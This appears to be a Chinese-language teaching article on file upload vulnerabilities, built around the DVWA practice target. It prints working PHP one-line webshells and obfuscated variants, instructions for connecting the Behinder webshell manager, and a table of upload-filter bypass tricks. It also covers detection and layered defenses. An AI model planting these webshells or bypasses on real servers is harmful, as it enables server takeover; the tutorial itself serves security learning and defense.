{T}

文件上传漏洞

0. 引言

文件上传漏洞比反序列化漏洞原理更简单,但同样可导致服务器被控制:上传功能对用户文件未做有效检测或过滤不严,恶意文件被服务端解析执行。本文讲解成因、Webshell 利用、绕过技巧、检测与防御。

1. 漏洞成因

以 DVWA 靶场为例,上传代码无任何限制:

php
<?php
$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );  // 直接使用上传文件名
move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path );
?>

上传含 <?php phpinfo(); ?> 的 phpinfo.php 后直接访问 http://127.0.0.1/hackable/uploads/phpinfo.php 即可执行。PHP 站点可上传 PHP 文件,ASP/JSP/ASPX 同理。

2. 利用漏洞上传 Webshell

2.1 一句话木马

php
<?php eval(@$_GET['a']); ?>   <!-- 最简形式 -->

访问 http://127.0.0.1/uploads/eval.php?a=phpinfo(); 即执行任意代码。为绕过检测常有混淆变形:

php
<?php
$a="e"."v"; $b="a"."l"; $c=$a.$b; $c($_POST['a']);   // 字符串拼接函数名
$a=base64_decode("ZXZhbA=="); $a($_POST['a']);       // base64 编码函数名
$_GET['a']($_GET['b']);                               // 参数指定函数与参数
?>

行业惯用"小马传大马":先传一句话(小马)再传大马,因为大马特征明显易被检测。

2.2 Webshell 管理工具

菜刀(仅 Windows)、冰蝎(跨平台、AES 加密)、蚁剑、Weevely、Cknife 等工具可连接一句话木马。以冰蝎为例:上传其 server/shell.php(默认连接密码 rebeyond,密钥为密码 32 位 MD5 前 16 位),客户端 java -jar Behinder_v3.0_Beta6_linux.jar 连接后即可管理文件、执行命令、管理数据库,甚至端口映射与 Socks 隧道(内网穿透)。

声明:本文工具仅限安全研究学习,请勿用于非法途径。

3. 绕过上传限制

技巧原理与应用
禁用 JS仅前端 JS 校验后缀时,NoScript 插件禁用 JS 再上传
篡改数据包curl/nc/Burp Suite 构造请求绕过前端,修改后缀、Content-Type 等
文件头绕过校验文件头时在 PHP 前加图片头:BM <?php phpinfo(); ?>——防御必须文件头+后缀同时检测
%00 截断shell.php%00.jpg 截断后缀(旧版本 PHP)
大小写检测未区分大小写时 shell.phpshell.Php
后缀别名PHP 常用后缀 .php/.php3/.php5/.phtml 等检测不全时可绕过;html 文件可做 XSS/钓鱼(危害较低)
结合解析漏洞Apache 后缀不可识别时向左判断(shell.php.php123 可能被当 PHP 执行);Nginx 曾出现 1.jpg/1.php 被当 PHP 解析——此类漏洞需先修服务器本身

4. 如何发现上传漏洞

  1. 黑盒扫描:上传 <?php phpinfo(); ?>(对业务影响最小)代替真实木马,根据返回包判断上传成功,再探测常见目录;自家服务器可部署文件创建监控定位路径;
  2. 流量监测:监测流量中疑似 Webshell 的请求并告警,人工确认——实际业务中多次发现上传漏洞的有效方式;
  3. 白盒审计:从 $_FILES 污染源(name/tmp_name)入手,追踪 move_uploaded_file 等存储函数,检查参数是否可控且无过滤,最后手工验证。

5. 防御措施

  1. 严格检测后缀名、文件头、Content-Type,白名单方式限制;
  2. 重编码文件(图片/视频转换处理);
  3. 限制文件大小,防存储耗尽;
  4. 服务端本地检测 Webshell,发现告警、人工确认后删除并排查入侵来源;
  5. WAF 拦截木马上传(较易绕过);
  6. RASP Hook 执行脚本关键函数(如 php eval),外部数据触发即告警阻断;
  7. 限制上传目录不可解析(Nginx 示例):
nginx
location ~* ^/uploads/.*\.(php|php5)$ {
    deny all;
}
  1. 上传文件重命名为随机文件名;
  2. 隐藏上传路径信息(关闭错误回显,避免如 DVWA 直接返回路径)。

6. 小结

  • 成因:上传功能对文件未做有效检测/过滤不严,恶意文件被服务端解析;
  • 利用:一句话木马(eval 执行外部参数)+ 冰蝎等工具连接管理,可直达命令执行;
  • 绕过:前端 JS、数据包、文件头、%00 截断、大小写、后缀别名、解析漏洞七类;
  • 发现:黑盒扫描(phpinfo 探测)、流量监测、白盒审计(move_uploaded_file 入口);
  • 防御:白名单校验 + 随机重命名 + 目录禁解析 + RASP 兜底,层层设防。

下一章讲解命令与代码注入。